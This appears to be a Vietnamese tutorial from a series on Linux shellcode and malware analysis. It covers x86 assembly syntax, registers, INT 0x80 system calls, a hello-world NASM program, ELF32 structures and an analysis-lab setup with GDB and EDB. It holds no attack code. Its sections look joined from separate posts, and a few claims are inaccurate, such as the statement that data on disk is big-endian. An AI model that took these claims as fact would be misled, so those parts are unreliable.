
Để minh họa, tôi sử dụng objdump để disassembly một mẫu theo cả hai cú pháp như sau:

$ objdump -d ch02-helloworld

$ objdump -d -M intel ch02-helloworld

Đầu ra của objdump cơ bản có 4 cột, theo chiều từ trái sang phải ta có:

• Cột 1: Địa chỉ các lệnh trong Assembly

• Cột 2: Opcode của lệnh và toán hạng

• Cột 3: Mã lệnh Assembly

• Cột 4: Các toán hạng: nguồn, đích

Như vậy sự khác biệt rõ rệt nhất giữa cú pháp Intel và AT&T nằm ở cột thứ 4. Ta đúc rút ra được công thức như sau:

<instruction> <source>,<dest>

<instruction> <dest>,<source>

Bảng dưới đây tổng hợp những sự khác biệt chính giữa cú pháp Intel và AT&T:

2. Các thanh ghi trong x86 Assembly

2.1. CPU và Endianness

Trước khi tìm hiểu về các thanh ghi trong x86 Assembly, hãy tìm hiểu một chút về Bộ vi xử lý mà máy tính chúng ta đang sử dụng. Mở Terminal và chạy một số lệnh bên dưới như sau:

$ lscpu
Architecture:          i686
CPU op-mode(s):        32-bit, 64-bit
Byte Order:            Little Endian
...
Vendor ID:             GenuineIntel
...
Flags:                 fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss nx pdpe1gb rdtscp lm constant_tsc arch_perfmon xtopology tsc_reliable nonstop_tsc cpuid pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault pti ssbd ibrs ibpb stibp fsgsbase tsc_adjust bmi1 avx2 smep bmi2 invpcid rdseed adx smap clflushopt xsaveopt xsavec xgetbv1 xsaves arat md_clear flush_l1d arch_capabilities

Kết quả của lệnh này cung cấp một số thông tin quan trọng như:

• Architecture: Kiến trúc Bộ VXL

• CPU op-mode(s): Chế độ hoạt động của VXL

• Byte Order: Đây là thông tin quan trọng, cho biết loại Endianness, nó sẽ quy định kiểu cách mà nó lưu dữ liệu trên bộ nhớ (Register, Stack)

• Flags: Cho biết những loại thanh ghi mở rộng mà CPU hỗ trợ

Trên các bộ Vi xử lý của Intel sử dụng quy ước Little Endian. Để dễ hình dung và so sánh giữa Big-Endian và Little-Endian hãy xem hình bên dưới đây: Giả sử ta cần biểu diễn một số nguyên 32-bits có giá trị là 0x0A0B0C0D

Tham khảo: https://en.wikipedia.org/wiki/Endianness

Để giải thích ngắn gọn và dễ hiểu về Big-Endian và Little-Endian, ta thống nhất một số quy tắc như sau. Vẫn lấy số nguyên 32-bits 0x0A0B0C0D làm ví dụ:

1. Byte có trọng số lớn nhất sẽ nằm ngoài cùng bên trái -> 0x0A

2. Byte có trọng số nhỏ nhất sẽ nằm ngoài cùng bên phải -> 0x0D

3. Theo chiều từ trái sang phải thì các byte lần lượt có trọng số giảm dần: 0x0A, 0x0B, 0x0C, 0x0D

4. Địa chỉ trên bộ nhớ sẽ được đánh tăng dần theo chiều từ trái sang phải và từ trên xuống dưới: a, a+1, a+2, a+3

Để cho dễ hiểu thì ta chỉ cần nhớ rằng: Với Big-Endian dữ liệu được biểu diễn theo cách thông thường từ trái qua phải, không thay đổi. Còn với Little-Endian thì dữ liệu sẽ bị đảo ngược lại theo các byte. Ví dụ để biểu diễn 0x1A2B3C4D thì: Với Big-Endian sẽ giữ nguyên 0x1A2B3C4D còn với Little-Endian sẽ là: 0x4D3C2B1A

Trong thực tế hay gặp dữ liệu lưu trên ổ cứng (Hard Disk) hay dữ liệu hiển thị trong các công cụ phân tích gói tin (Wireshark/TCPDump) sẽ ở dạng Big-Endian. Còn dữ liệu khi được nạp lên bộ nhớ (RAM) thì sẽ ở dạng Little-Endian.

2.2. Các thanh ghi thường gặp

Các bộ vi xử lý hiện đại ngày nay đã phát triển thêm và gia tăng về số lượng các thanh ghi, phục vụ các tác vụ như: tính toán số học dấu phẩy động, hay thanh ghi thực hiện một chức năng riêng nào đó,.v.v.. Tuy nhiên, khi làm việc với Assembly 32-bits thì chỉ cần chú ý đến một số thanh ghi phổ biến sau đây:

Bảng tổng hợp các thanh ghi (các thanh ghi 64-bits sẽ được trình bày ở bài sau):

Tham khảo: https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture

Bảng tổng hợp các cờ và vị trí:

Tham khảo: https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture

3. Các lệnh thường gặp trong x86 Assembly

4. x86 Assembly System Calls trên Linux

Thông thường các chương trình độc hại hay shellcode thường thực hiện các cuộc gọi hệ thống (system calls) một cách trực tiếp, mà không sử dụng các hàm có trong thư viện. Nếu nắm chắc được phần này thì ở các chương sau khi phân tích các chương trình độc hại như: Bind Shell, Reverse Shell, Polymorphism Shell sẽ không gặp khó khăn nhiều.

4.1. System call number, Ngắt và Man Page

Trong x86 Assembly, shellcode thường thực hiện một System call thông qua việc gọi ngắt INT 0x80. Các ngắt này sẽ dựa vào các System Call Number được định nghĩa trong Header file của thư viện hệ thống để tìm đến hàm cần gọi. Có nhiều header file trong hệ thống nhưng trong phần này và các phần tiếp theo khi phân tích Shellcode 32-bits sẽ chủ yếu tra cứu các API trong tệp: /usr/include/i386-linux-gnu/asm/unistd_32.h hoặc /‌arch/‌x86/‌include/‌generated/‌uapi/‌asm/‌unistd_32.h. Ví dụ dưới đây cho biết hàm exit có System call number là 1:

$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h
#ifndef _ASM_X86_UNISTD_32_H
#define _ASM_X86_UNISTD_32_H 1

#define __NR_restart_syscall 0
#define __NR_exit 1
#define __NR_fork 2
...

Khi đã biết System call number của một hàm thì cần phải biết được hàm đó sử dụng như nào, truyền các tham số ra làm sao. Sử dụng Man Page trên Linux để tra cứu. Ví dụ cách dùng exit:

$ man 2 exit

Kết quả sẽ được như sau cho biết hàm này nhận vào một số nguyên, báo hiệu mã trả về khi kết thúc một chương trình:

EXIT(3)                                             Linux Programmer's Manual                                             EXIT(3)
NAME
       exit - cause normal process termination
SYNOPSIS
       #include <stdlib.h>
       void exit(int status);
...

Các Parameter truyền vào khi gọi hàm tuân theo quy tắc sau đây:

Tham khảo: https://en.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux#Via_interrupt

4.2. Phân tích một chương trình x86 Assembly đơn giản

Bây giờ hãy thực hành phân tích một chương trình x86 Assembly đơn giản, trước tiên hãy chép đoạn mã dưới đây vào một text editor bất kỳ:

  1 ; hello world ASM - ch02-helloworld.asm
  2
  3 global _start
  4 section .text
  5
  6 _start:
  7         ; write(int fd, const void *buf, size_t count)
  8         xor    eax,eax
  9         xor    ebx,ebx
 10         xor    ecx,ecx
 11         xor    edx,edx
 12         mov    al,0x4
 13         inc    bl
 14         push   0x000a2164
 15         push   0x6c726f57
 16         push   0x202c6f6c
 17         push   0x6c6548
 18         mov    ecx,esp
 19         mov    dl,0xf
 20         int    0x80
 21
 22         ; exit(int status)
 23         xor    eax,eax
 24         xor    ebx,ebx
 25         mov    al,0x1
 26         int    0x80

Lưu lại với tên tùy ý với đuôi .asm sau đó thực hiện biên dịch và liên kết chương trình bằng command sau:

$ nasm -f elf32 -o ch02-helloworld.o ch02-helloworld.asm
$ ld -o ch02-helloworld ch02-helloworld.o
$ chmod +x ch02-helloworld
$ ./ch02-helloworld
Hello, World!

$ python
>>> a = '000a2164'.decode('hex')
>>> b = '6c726f57'.decode('hex')
>>> c = '202c6f6c'.decode('hex')
>>> d = '6c6548'.decode('hex')
>>> final = a + b + c + d
>>> final[::-1] # Little-Endian, Reverse bytes
'Hello, World!\n\x00'

Tóm lại, chương trình có hai khối chính

• Khối đầu thực hiện hàm write và khối sau thực hiện hàm exit:

• Tham khảo: https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md

• Khi đó ta có thể viết lại đơn giản chương trình thành như sau:

write(fd=1, *buf='Hello, World!\n\x00', count=15);
exit(status=0);

5. Cấu trúc tệp ELF32 trên Linux

ELF - Executable and Linking Format: Là định dạng tệp thực thi phổ biến trên Linux, nó có thể là các chương trình phần mềm, các thư viện, các drivers hay Linux Kernel Module,.v.v.. Việc hiểu cấu trúc của tệp ELF32 giúp người phân tích có cái nhìn tổng quan, hiểu được đặc tính kỹ thuật của tệp. Xác định được loại tệp cũng như cấu trúc tệp tin là giai đoạn đầu trong bất kỳ quá trình phân tích Binary nào.

5.1. Cấu trúc cơ bản tệp ELF

Cấu trúc tệp ELF được định nghĩa trong header file: /usr/include/elf.h. Về cơ bản nó có ba phần chính: ELF Header, Program Header Table và Section Header Table.

Tham khảo: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format

Trong đó:

/* The ELF file header.  This appears at the start of every ELF file.  */
#define EI_NIDENT (16)
typedef struct
{
  unsigned char e_ident[EI_NIDENT];     /* Magic number and other info */
  Elf32_Half    e_type;                 /* Object file type */
  Elf32_Half    e_machine;              /* Architecture */
  Elf32_Word    e_version;              /* Object file version */
  Elf32_Addr    e_entry;                /* Entry point virtual address */
  Elf32_Off     e_phoff;                /* Program header table file offset */
  Elf32_Off     e_shoff;                /* Section header table file offset */
  Elf32_Word    e_flags;                /* Processor-specific flags */
  Elf32_Half    e_ehsize;               /* ELF header size in bytes */
  Elf32_Half    e_phentsize;            /* Program header table entry size */
  Elf32_Half    e_phnum;                /* Program header table entry count */
  Elf32_Half    e_shentsize;            /* Section header table entry size */
  Elf32_Half    e_shnum;                /* Section header table entry count */
  Elf32_Half    e_shstrndx;             /* Section header string table index */
} Elf32_Ehdr;

/* Program segment header.  */
typedef struct
{
  Elf32_Word    p_type;                 /* Segment type */
  Elf32_Off     p_offset;               /* Segment file offset */
  Elf32_Addr    p_vaddr;                /* Segment virtual address */
  Elf32_Addr    p_paddr;                /* Segment physical address */
  Elf32_Word    p_filesz;               /* Segment size in file */
  Elf32_Word    p_memsz;                /* Segment size in memory */
  Elf32_Word    p_flags;                /* Segment flags */
  Elf32_Word    p_align;                /* Segment alignment */
} Elf32_Phdr;

/* Section header.  */
typedef struct
{
  Elf32_Word    sh_name;                /* Section name (string tbl index) */
  Elf32_Word    sh_type;                /* Section type */
  Elf32_Word    sh_flags;               /* Section flags */
  Elf32_Addr    sh_addr;                /* Section virtual addr at execution */
  Elf32_Off     sh_offset;              /* Section file offset */
  Elf32_Word    sh_size;                /* Section size in bytes */
  Elf32_Word    sh_link;                /* Link to another section */
  Elf32_Word    sh_info;                /* Additional section information */
  Elf32_Word    sh_addralign;           /* Section alignment */
  Elf32_Word    sh_entsize;             /* Entry size if section holds table */
} Elf32_Shdr;

5.2. Trích xuất Metadata trong ELF32

Phần này giới thiệu một số công cụ nguồn mở, miễn phí và ưu tiên có sẵn trên Linux vì chúng ta đang tập chung phân tích các tệp ELF32:

READELF: Công cụ dòng lệnh (CLI), có sẵn trên Linux, hiển thị rất nhiều thông tin về một tệp ELF

Một số option hữu ích

• [-h|--file-header]: Hiển thị ELF header

• [-l|--program-headers|--segments]: Hiển thị Segment headers (Program header)

• [-S|--sections|--section-headers]: Hiển thị Section header

• [-e|--headers]: Kết hợp của: -h -l -S

• [-s|--symbols|--syms]: Hiển thị Symbol section

• [-d|--dynamic]: Hiển thị Dynamic section

• [-a|--all]: Hiển thị tất cả thông tin, là kết hợp của: -h -l -S -s -r -d -V -A -I

• [-x <number or name>|--hex-dump=<number or name>]: Dump hex của một Section

• [-p <number or name>|--string-dump=<number or name>]: Dump string của một Section

• [-W|--wide]: Làm cho output không bị ngắt khi vượt quá 80 ký tự.

Show ELF header: Chứa các thông tin cơ bản

Show Program header

Show Section header: Chú ý section .text được gắn Flag là: X

Show Symbol Table: Bảng này cho biết các biến, các hàm mà chương trình sử dụng

Dump Strings một Section: dùng -p

Dump một Section: dùng -R hoặc -x đều có thể dump được

XELFViewer: Công cụ giao diện đồ họa (GUI), hỗ trợ đa nền tảng (Windows, Linux, macOS), dễ sử dụng.

Thông tin thêm về công cụ

• Tác giả của XELFViewer là NTInfo, cũng là tác giả nhiều công cụ nổi tiếng khác như: Detect It Easy (DiE), XAPKDetector, XVolkolak, XOpcodeCalc, Nauz File Detector(NFD), x64dbg Plugin Manager,.v.v..

ELF Header

Section Header

Program Header

Symbol Table

OSBoxes chuyên cung cấp các VM được dựng sẵn, có nhiều tùy chọn cho các Linux Distro khác nhau, tôi sử dụng Ubuntu cho Lab của mình.

2. Cài đặt các thư viện cần thiết

Thực hiện cập nhật hệ thống và cài đặt các công cụ sau:

$ sudo apt update && sudo apt upgrade -y
$ sudo apt install build-essential libemu-dev graphviz gdb python libgraphviz-dev cmake libboost-dev libqt5xmlpatterns5-dev qtbase5-dev qt5-default libqt5svg5-dev libcapstone-dev pkg-config hexedit nasm git libtool autoconf -y

Trong đó có một số công cụ (gói) quan trọng như:

• GDB: Một debugger mạnh mẽ - Trùm cuối Debugger trên Linux.

• HexEdit: Một Hex Editor cũng "tạm được" trên Linux.

• Nasm: Netwide Assembler, một trình dịch cho Assembly trên Linux.

• Qt Libs: Là các thư viện cần thiết để biên dịch EDB - Một Debugger "đẹp trai" trên Linux. Các bài sau sẽ thực hành với cả GDB và EDB.

3. Cài đặt EDB Debugger

Trước tiên hãy nói một chút về GNU Debugger (GDB), nó là một công cụ debug rất mạnh và nổi tiếng trên Linux. Nó sử dụng giao diện dòng lệnh (CLI) nên có thể khó sử dụng với nhiều người. GDB cũng có thể sử dụng kèm với các Plugin như PEDA, GEF hoặc PWNDBG. Các Plugin này được "giang hồ mạng" sử dụng rất nhiều và nó sẽ "giúp cuộc sống trở lên dễ dàng hơn!". Cài đặt các Plugin này cũng đơn giản, nếu muốn cài cả 3 thì xem bài này của Andreas Pogiatzis.

Có một công cụ khác với chức năng tương tự GDB nhưng có giao diện đồ họa và đi kèm với nhiều Plugins hỗ trợ trong quá trình phân tích đó là Evan Teran's EDB Debugger (EDB). EDB được ví như là OllyDbg cho Linux. Hiện tại EDB đã có phiên bản v1.3.0 (thời điểm viết bài), tuy nhiên môi trường tôi đang sử dụng ở đây là Ubuntu 16.04 LTS, một số thư viện đã cũ và không còn tương thích. Để khắc phục vấn đề này tôi sẽ sử dụng EDB v1.1.0. Bạn đọc nếu sử dụng phiên bản Ubuntu mới hơn thì cứ EDB bản mới nhất mà cài. Tiến hành clone source và biên dịch EDB như sau:

$ cd ~/bac
$ git clone --recursive https://github.com/eteran/edb-debugger.git --branch 1.1.0
$ cd ~/bac/edb-debugger
$ mkdir build
$ cd build
$ cmake ..
$ make

Quá trình này sẽ biên dịch EDB và các Plugins đi kèm, sau khi biên dịch thì bộ công cụ của chúng ta sẽ nằm trong thư mục build, bây giờ hãy tạo một Symbolic link:

$ sudo ln -s ~/bac/edb-debugger/build/edb /usr/local/bin/

Khởi chạy công cụ và đây là giao diện:

Sau khi hoàn tất các bước trên, hãy snapshot lại máy ảo. Bước này quan trọng vì trong quá trình phân tích các chương trình độc hại đôi khi ta cần quay lại trạng thái "sạch" của máy ảo phân tích.